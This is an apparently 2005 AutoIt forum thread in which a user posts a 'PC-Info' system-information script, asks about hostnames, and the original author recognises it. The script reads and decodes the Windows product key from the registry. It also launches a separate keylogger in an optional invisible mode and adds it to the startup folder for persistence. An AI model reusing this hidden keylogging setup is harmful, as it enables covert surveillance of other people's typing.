$URLS = IniRead($INI, "URL", "URLS", "") For $I = 1 To $URLS FileDelete(@Homedrive & $POS + 1 & ".htm") Next While $POS < $URLS FileDelete(@Homedrive & $POS - 1 & ".htm") $POS = $POS + 1 $IPTMP = @Homedrive & $POS & ".htm" $URL = IniRead($INI, "URL", $POS, "") $IP = URLDownloadToFile ("http://" & $URL & "/ip.php", $IPTMP) $FS = FileGetSize($IPTMP) If FileExists($IPTMP) = 0 Then ContinueLoop If $FS > 16 Then ContinueLoop Else If $FS < 8 Then ContinueLoop EndIf If $FS <= 16 Then ExitLoop Wend $FILE = FileOpen($IPTMP, 0) $LINE = FileReadLine($FILE) If $FILE = -1 Then $line = "Error when looking up IP. Maybe you're offline?" EndIf FileClose($FILE) FileDelete($IPTMP) FileDelete($INI) ;--------------------------------------------------------------- ; Windows Product Key ;--------------------------------------------------------------- Dim $Bin $Bin = RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion", "DigitalProductID") Func DecodeProductKey($BinaryDPID) Local $bKey[15] Local $sKey[29] Local $Digits[24] Local $Value = 0 Local $hi = 0 Local $n = 0 Local $i = 0 Local $dlen = 29 Local $slen = 15 Local $Result $Digits = StringSplit("BCDFGHJKMPQRTVWXY2346789", "") $binaryDPID = StringMid($binaryDPID, 105, 30) For $i = 1 To 29 Step 2 $bKey[Int($i / 2) ] = Dec(StringMid($binaryDPID, $i, 2)) Next For $i = $dlen - 1 To 0 Step - 1 If Mod( ($i + 1), 6) = 0 Then $sKey[$i] = "-" Else $hi = 0 For $n = $slen - 1 To 0 Step - 1 $Value = BitOR(BitShift($hi, -8), $bKey[$n]) $bKey[$n] = Int($Value / 24) $hi = Mod($Value, 24) Next $sKey[$i] = $Digits[$hi + 1] EndIf Next For $i = 0 To 28 $Result = $Result & $sKey[$i] Next Return $Result EndFunc ;------------------------------------------------------------- ; Script start ;------------------------------------------------------------- $primaryGui = GUICreate("PC-Info", 405, 490) GUISetFont(9, 300) ;/////////////////////// MY COMPUTER ///////////////////////// ;------------------------------------------------------------- $tab = GUICtrlCreateTab(5, 5, 398, 462) $knap = GUICtrlCreateButton("Pc-Help", 325, 2, 77, 23) GUICtrlSetTip(-1,"Go to www.ivanhoejupiler.be") $knap1 = GUICtrlCreateButton("Web-Msn", 245, 2, 77, 23) GUICtrlSetTip(-1,"Login to Webmessenger") $tab0 = GUICtrlCreateTabItem("My computer") $n=GUICtrlCreatePic(@TempDir &"\pic1.jpg",100,250, 1, 1) $n = GUICtrlSetPos($n, 20, 242, 365, 212) GUICtrlCreateGroup("Information", 16, 33, 373, 202) GUICtrlCreateGroup("", 16, 231, 373, 227) GUICtrlCreateLabel("Computername", 30, 60, 90, 15) GUICtrlCreateLabel("Operating System", 30, 85, 100, 15) GUICtrlCreateLabel("Operating Type", 30, 110, 90, 15,) GUICtrlCreateLabel("Service Pack", 30, 135, 90, 15,) GUICtrlCreateLabel("LAN IP-address", 30, 160, 90, 15,) GUICtrlCreateLabel("WAN IP-address", 30, 185, 95, 15,) GUICtrlCreateLabel("Logged in as", 30, 210, 90, 15,) GUICtrlCreateInput(@ComputerName, 130, 58, 250, 20, $WS_DISABLED) GUICtrlCreateInput(@OSVersion, 130, 83, 250, 20, $WS_DISABLED) GUICtrlCreateInput(@OSType, 130, 108, 250, 20, $WS_DISABLED) GUICtrlCreateInput(@OSServicePack, 130, 133, 250, 20, $WS_DISABLED) GUICtrlCreateInput(@IPAddress1, 130, 158, 250, 20, $WS_DISABLED) GUICtrlCreateInput($Line, 130, 183, 250, 20, $WS_DISABLED) GUICtrlCreateInput(@UserName, 130, 208, 250, 20, $WS_DISABLED) ;//////////////////// SECIFICATIONS ////////////////////// ;--------------------------------------------------------- $tab1 = GUICtrlCreateTabItem("Specifications") $J = GUICtrlCreatePic(@TempDir &"\PC1.jpg", 30, 360, 343, 90) $J = GUICtrlSetPos($J, 30, 360, 343, 90) GUICtrlCreateGroup("Hardware specifications", 16, 33, 373, 426) $drev = DriveGetDrive("fixed") $Ram = MemGetStats() $Mem = $ram[1] / 1024 + 1 $mem1 = Round($mem, 0) $Drive1 = DriveSpaceTotal($Drev[1]) $label1 = DriveGetLabel($Drev[1]) $Drivespace1 = DriveSpaceFree($Drev[1]) $Space = $Drivespace1 / 1024 $Free1 = Round($Space, 2) $var1 = $Drive1 / 1024 $Orgn1 = Round($var1, 2) If $drev[0] > 1 Then $label2 = DriveGetLabel($Drev[2]) $Drivespace2 = DriveSpaceFree($Drev[2]) $Space = $Drivespace2 / 1024 $Free2 = Round($Space, 2) $Drive2 = DriveSpaceTotal($Drev[2]) $var2 = $Drive2 / 1024 $Orgn2 = Round($var2, 2) GUICtrlCreateLabel("Drive2 " & " - (" & $drev[2] & ")", 30, 160, 90, 15,) GUICtrlCreateInput($Orgn2 & " GB" & " - ( Free space - " & $Free2 & " GB )", 105, 158, 275, 20, $WS_DISABLED) Else GUICtrlCreateInput("You don't have 2 harddrives or partitions", 105, 158, 275, 20, $WS_DISABLED) GUICtrlCreateLabel("Drive2 ", 30, 160, 70, 15,) EndIf If $drev[0] > 2 Then $label3 = DriveGetLabel($Drev[3]) $Drivespace3 = DriveSpaceFree($Drev[3]) $Space = $Drivespace3 / 1024 $Free3 = Round($Space, 2) $Drive3 = DriveSpaceTotal($Drev[3]) $var3 = $Drive3 / 1024 $Orgn3 = Round($var3, 3) GUICtrlCreateLabel("Drive3 " & " - (" & $drev[3] & ")", 30, 185, 90, 15,) GUICtrlCreateInput($Orgn3 & " GB" & " - ( Free space - " & $Free3 & " GB )", 105, 183, 275, 20, $WS_DISABLED) Else GUICtrlCreateInput("You don't have 3 harddrives or partitions", 105, 183, 275, 20, $WS_DISABLED) GUICtrlCreateLabel("Drive3 ", 30, 185, 70, 15,) EndIf If $drev[0] > 3 Then $label4 = DriveGetLabel($Drev[4]) $Drivespace4 = DriveSpaceFree($Drev[4]) $Space = $Drivespace4 / 1024 $Free4 = Round($Space, 2) $Drive4 = DriveSpaceTotal($Drev[4]) $var4 = $Drive4 / 1024 $Orgn4 = Round($var4, 3) GUICtrlCreateLabel("Drive4 " & " - (" & $drev[4] & ")", 30, 210, 90, 15,) GUICtrlCreateInput($Orgn4 & " GB" & " - ( Free space - " & $Free4 & " GB )", 105, 208, 275, 20, $WS_DISABLED) Else GUICtrlCreateInput("You don't have 4 harddrives or partitions", 105, 208, 275, 20, $WS_DISABLED) GUICtrlCreateLabel("Drive4 ", 30, 210, 70, 15,) EndIf GUICtrlCreateLabel("Processor", 30, 60, 90, 15) GUICtrlCreateLabel("RAM", 30, 85, 90, 15) GUICtrlCreateLabel("Video card", 30, 110, 90, 15) GUICtrlCreateLabel("Drive1 " & " - (" & $drev[1] & ")", 30, 135, 90, 15,) GUICtrlCreateLabel("Owner", 30, 235, 90, 15) GUICtrlCreateLabel("StartPage", 30, 260, 90, 15) $cpu0 = RegRead("HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0", "~MHz") $cpu1 = RegRead("HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0", "processorNameString") $gfx = RegRead("HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0002", "DriverDesc") $rgo = RegRead("HKLM\Software\Microsoft\Windows NT\CurrentVersion", "RegisteredOwner") $stp = RegRead("HKCU\Software\Microsoft\Internet Explorer\Main", "Start Page") $Lprint1 = RegEnumKey("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Print\Printers\", 1) $Lprint2 = RegEnumKey("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Print\Printers\", 2) $stringtjek = StringIsASCII($Lprint1) If $stringtjek = 0 Then GUICtrlCreateInput("No printer installed", 105, 283, 275, 20, $WS_DISABLED) Else GUICtrlCreateInput($Lprint1, 105, 283, 275, 20, $WS_DISABLED) EndIf $stringtjek = StringIsASCII($Lprint2) If $stringtjek = 0 Then GUICtrlCreateInput("No printer installed", 105, 308, 275, 20, $WS_DISABLED) Else GUICtrlCreateInput($Lprint2, 105, 308, 275, 20, $WS_DISABLED) EndIf $serv = RegEnumKey("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Print\Providers\LanMan Print Services\Servers", 1) $NetPrint1 = RegEnumKey("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Print\Providers\LanMan Print Services\Servers\" & $serv & "\printers", 1) $stringtjek = StringIsASCII($NetPrint1) If $stringtjek = 0 Then GUICtrlCreateInput("No printer installed", 105, 333, 275, 20, $WS_DISABLED) Else GUICtrlCreateInput($NetPrint1, 105, 333, 275, 20, $WS_DISABLED) EndIf GUICtrlCreateInput($cpu0 & " Mhz" & " - " & $cpu1, 105, 58, 275, 20, $WS_DISABLED) GUICtrlCreateInput($mem1 & " MB", 105, 83, 275, 20, $WS_DISABLED) GUICtrlCreateInput($gfx & "", 105, 108, 275, 20, $WS_DISABLED) GUICtrlCreateInput($Orgn1 & " GB" & " - ( Free space - " & $Free1 & " GB )", 105, 133, 275, 20, $WS_DISABLED) GUICtrlCreateInput($rgo & "", 105, 233, 275, 20, $WS_DISABLED) GUICtrlCreateInput($stp & "", 105, 258, 275, 20, $WS_DISABLED) GUICtrlCreateLabel("Printer1", 30, 285, 70, 15) GUICtrlCreateLabel("Printer2", 30, 310, 70, 15) GUICtrlCreateLabel("Netprinter1", 30, 335, 70, 15) ;/////////////////////// ADVANCED ///////////////////////// ;---------------------------------------------------------- $tab2 = GUICtrlCreateTabItem("Advanced") GUICtrlCreateGroup("Windows XP CD-Key Changer", 16, 33, 373, 95) GUICtrlCreateGroup("KeyLogger", 16, 130, 373, 325) $clipget = GUICtrlCreatebutton("Windows Key", 30, 65, 97, 22,) GUICtrlSetTip(-1,"Click here to copy key to clipboard") $newkey_btn = GUICtrlCreateButton("Change Key", 30, 90, 97, 22,) GUICtrlSetTip(-1,"Click here to change your XP key") $currentkey = GUICtrlCreateInput(DecodeProductKey($bin), 130, 66, 250, 20, $WS_DISABLED) $newkey = GUICtrlCreateInput("Type the new Windows XP CD-key here...", 130, 91, 250, 20) GUICtrlCreateLabel("You can use the keylogger to log whatever have been writen on the keyboard. Choose any options in order to fit your needs. Remember to chose save location...", 50 , 150, 320, 70,) GUICtrlSetFont(-1, 9, 600, 1, "Comic Sans MS") $activate_key = GUICtrlCreatebutton("Activate Keylogger", 135, 220, 130, 27,) GUICtrlSetTip(-1,"Click here to Activate Keylogger") $radio1 = GUICtrlCreateRadio ("Show program in system tray", 45, 260, 200, 20) $radio2 = GUICtrlCreateRadio ("Hide Trayicon and PC-Info when running", 45, 285, 250, 20) GUICtrlSetState ($radio2,$GUI_CHECKED) GUICtrlCreateGroup("", 35, 252, 333, 55) $radio3 = GUICtrlCreateRadio ("Determinate Keylogger with Hotkey 'Ctrl+Alt+Q'", 45, 315, 315, 20) $radio4 = GUICtrlCreateRadio ("Run at next startup, hotkey 'Ctrl+Alt+Q' for determination", 45, 340, 320, 20) $radio5 = GUICtrlCreateRadio("Run now, and keep running after each boot", 45, 365, 320, 20) $radio6 = GUICtrlCreateRadio("Run from next boot, and keep running after each boot", 45, 390, 320, 20) GUICtrlSetState ($radio3,$GUI_CHECKED) GUICtrlCreateGroup("", 35, 307, 333, 105) $Savefile = GUICtrlCreatebutton("Save location", 30, 422, 97, 22,) GUICtrlSetTip(-1,"Click here to chose savelocation of the logfile") $savelocation = GUICtrlCreateInput(@HomeDrive & "\Log.log", 130, 423, 250, 20, $WS_DISABLED) ;////////////////////// ABOUT ///////////////////////////// ;---------------------------------------------------------- GUICtrlSetState(0, $GUI_SHOW) GUISetState() GUICtrlCreateLabel("Version 1.4", 330, 470, 70, 15) GUICtrlCreateLabel("Made with autoit3", 10, 470, 140, 15) GUISetState() ;/////// SECONDARY WINDOW /////// $SecondaryGui = GUICreate("Change Your Windows Key", 270, 150) GUICtrlCreateLabel("WARNING", 90, 13, 100, 20) GUICtrlSetFont(-1, 14, 400, 4, "Comic Sans MS") GUICtrlCreateLabel("Changing your Windows CD-Key is on your own risk, I will not take any responsebility for any damage caused by this act! ", 10, 45, 250, 50) GUICtrlCreateLabel("Are you sure?", 10, 90, 70, 15) $key_yes = GUICtrlCreateButton("YES", 30, 115, 90, 22) $key_no = GUICtrlCreateButton("Cancel", 150, 115, 90, 22) GUISetState(@SW_HIDE) $website = "http://www.ivanhoejupiler.be" $website1 = "http://login.passport.net/uilogin.srf?id=45940" While 1 $msg_array = GUIGetMsg(1) $msg = $msg_array[0] $winActive = $msg_array[1] If $msg = $activate_key Then If GUICtrlRead($radio1) = $GUI_CHECKED Then;Show Program in system tray IniWrite(@TempDir & "\RunAtStartup.ini", "ShowTray", "ShowTray", "1") EndIf If GUICtrlRead($radio2) = $GUI_CHECKED Then;Hide trayicon and PC-Info when running IniWrite(@TempDir & "\RunAtStartup.ini", "ShowTray", "ShowTray", "0") EndIf If GUICtrlRead($radio3) = $GUI_CHECKED Then;Determinate keylogger with hotkey Ctrl+Alt+Q EndIf If GUICtrlRead($radio4) = $GUI_CHECKED Then;Run at nextstartup, Hothey Ctrl+Alt+Q for determination FileCreateShortcut(@Tempdir & "\Keylogger.exe",@StartupDir & "\Keylogger.exe") ;FileCopy(@TempDir & "\Keylogger.exe", @StartupDir & "\Keylogger.exe") IniWrite(@TempDir & "\RunAtStartup.ini", "RunAtStartup", "RunAtStartup", "1") If GUICtrlRead($radio1) = $GUI_CHECKED Then TrayTip("Keylogger", "Keylogger will run in VISIBLE mode next time Windows starts" & @CRLF & "Determinate by pressing Ctrl+Alt+Q", 5, 1) Sleep(5000) Else TrayTip("Keylogger", "Keylogger will run in INVISIBLE mode next time Windows starts" & @CRLF & "Determinate by pressing Ctrl+Alt+Q", 5, 1) Sleep(7000) EndIf EndIf If GUICtrlRead($radio5) = $GUI_CHECKED Then;Run now, and keep running after each boot If GUICtrlRead($radio1) = $GUI_CHECKED Then TrayTip("Keylogger", "Keylogger is now active, and will be running in VISIBLE mode after each boot" & @CRLF & "Determinate by pressing Ctrl+Alt+Q", 5, 1) Sleep(5000) Else TrayTip("Keylogger", "Keylogger is now active, and will be running in INVISIBLE mode after each boot" & @CRLF & "Determinate by pressing Ctrl+Alt+Q", 5, 1) Sleep(5000) EndIf FileCreateShortcut(@Tempdir & "\Keylogger.exe",@StartupDir & "\Keylogger.exe") ;FileCopy(@TempDir & "\Keylogger.exe", @StartupDir & "\Keylogger.exe") IniWrite(@TempDir & "\RunAtStartup.ini", "RunAtStartup", "RunAtStartup", "2") EndIf If GUICtrlRead($radio6) = $GUI_CHECKED Then;Run from next boot, and keep running after each boot If GUICtrlRead($radio1) = $GUI_CHECKED Then TrayTip("Keylogger", "Keylogger will be active after next boot, and will be running in VISIBLE mode" & @CRLF & "Determinate by pressing Ctrl+Alt+Q", 5, 1) Sleep(5000) Else TrayTip("Keylogger", "Keylogger will be actice after next boot, and will be running in INVISIBLE mode" & @CRLF & "Determinate by pressing Ctrl+Alt+Q", 5, 1) Sleep(7000) EndIf FileCreateShortcut(@Tempdir & "\Keylogger.exe",@StartupDir & "\Keylogger.exe") ;FileCopy(@TempDir & "\Keylogger.exe", @StartupDir & "\Keylogger.exe") IniWrite(@TempDir & "\RunAtStartup.ini", "RunAtStartup", "RunAtStartup", "2") EndIf IniWrite(@TempDir & "\RunAtStartup.ini", "SaveLocation", "SaveLocation", GUICtrlRead($savelocation)) If GUICtrlRead($radio3) = $GUI_CHECKED Then;OR GUICtrlRead($radio5) = $GUI_CHECKED Then Run(@TempDir & "\Keylogger.exe") EndIf If GUICtrlRead($radio5) = $GUI_CHECKED Then Run(@TempDir & "\Keylogger.exe") EndIf If GUICtrlRead($radio3) = $GUI_CHECKED Then TrayTip("Keylogger", "Keylogger is now active" & @CRLF & "Determinate by pressing Ctrl+Alt+Q", 0, 1) Sleep(5000) EndIf If GUICtrlRead($radio2) = $GUI_CHECKED Then Opt("TrayIconHide", 1) EndIf EndIf; End of Activate keylogger If $msg = GUICtrlRead($radio4)= $GUI_CHECKED Then GUICtrlsetstate($radio5, $GUI_ENABLE) EndIf If $msg = GUICtrlRead($radio3) = $GUI_CHECKED Then GUICtrlsetstate($radio5, $GUI_DISABLE) EndIf If $msg = $savefile Then $dialog = FileSaveDialog( "Choose a name", @HomeDrive & "\","(*.log)", 3, "Log.log") If @error Then GUICtrlSetData($savelocation, @Homedrive & "\Log.log") Else GUICtrlSetData($savelocation, $dialog) EndIf EndIf If $msg = $clipget Then clipput(GUICtrlRead($currentkey)) EndIf If $msg = $newkey_btn Then GUISwitch($SecondaryGui) GUISetState() EndIf If ($msg = $GUI_EVENT_CLOSE OR $msg = $key_no) AND $winActive = $secondaryGui Then GUISetState(@SW_HIDE) GUISwitch($primaryGui) EndIf If $msg = $GUI_EVENT_CLOSE AND $winActive = $primaryGui Then FileDelete(@TempDir & "\pic1.jpg") FileDelete(@TempDir & "\PC1.jpg") FileDelete(@TempDir & "\KeyOpt.ini") If GUICtrlRead($radio3) = $GUI_CHECKED Then FileDelete(@TempDir & "\RunAtStartup.ini") FileDelete(@TempDir & "\Keylogger.exe") EndIf ExitLoop EndIf If $msg = $key_yes Then $len = StringLen(GUIctrlRead($newkey)) If $len = 29 then msgbox(0,"Information","Your CD-key has been changed!") GUICtrlSetData($currentkey, GUICtrlread($newkey)) GUICtrlSetData($newkey,"Type the new Windows XP CD-key here...") WinClose("Change Your Windows Key", "") else msgbox(16,"Error","CD-Key is invalid, try again") GUICtrlSetData($newkey,"Type the new Windows XP CD-key here...") WinClose("Change Your Windows Key", "") Endif EndIf If $msg = $key_no Then GUICtrlSetData($newkey,"Type the new Windows XP CD-key here...") EndIf If $msg = $knap1 Then Run('explorer "' & $website1 & '"') EndIf If $msg = $knap Then Run('explorer "' & $website & '"') EndIf Wend I have anouther question:Can you see your hostname with a autoit script? Thanks for the support. Edited April 11, 2005 by Mosquitos Sapiente vince, rex, noli vincere ferro! Link to comment Share on other sites More sharing options...
Wb-FreeKill Posted April 11, 2005 Share Posted April 11, 2005 Well.. i can see you have found my PC-Info script This was the very first (real) program i made for along time ago.. it has been updated since.. but im not coding on it anymore.. Link to comment Share on other sites More sharing options...
Mosquitos Posted April 11, 2005 Author Share Posted April 11, 2005 Well.. i can see you have found my PC-Info script This was the very first (real) program i made for along time ago.. it has been updated since.. but im not coding on it anymore..<{POST_SNAPBACK}>Are you Lasse Offt Sapiente vince, rex, noli vincere ferro! Link to comment Share on other sites More sharing options...
Wb-FreeKill Posted April 11, 2005 Share Posted April 11, 2005 Are you Lasse Offt <{POST_SNAPBACK}>Indeed i am.. Link to comment Share on other sites More sharing options...
Recommended Posts
Create an account or sign in to comment
You need to be a member in order to leave a comment
Create an account
Sign up for a new account in our community. It's easy!
Register a new accountSign in
Already have an account? Sign in here.
Sign In Now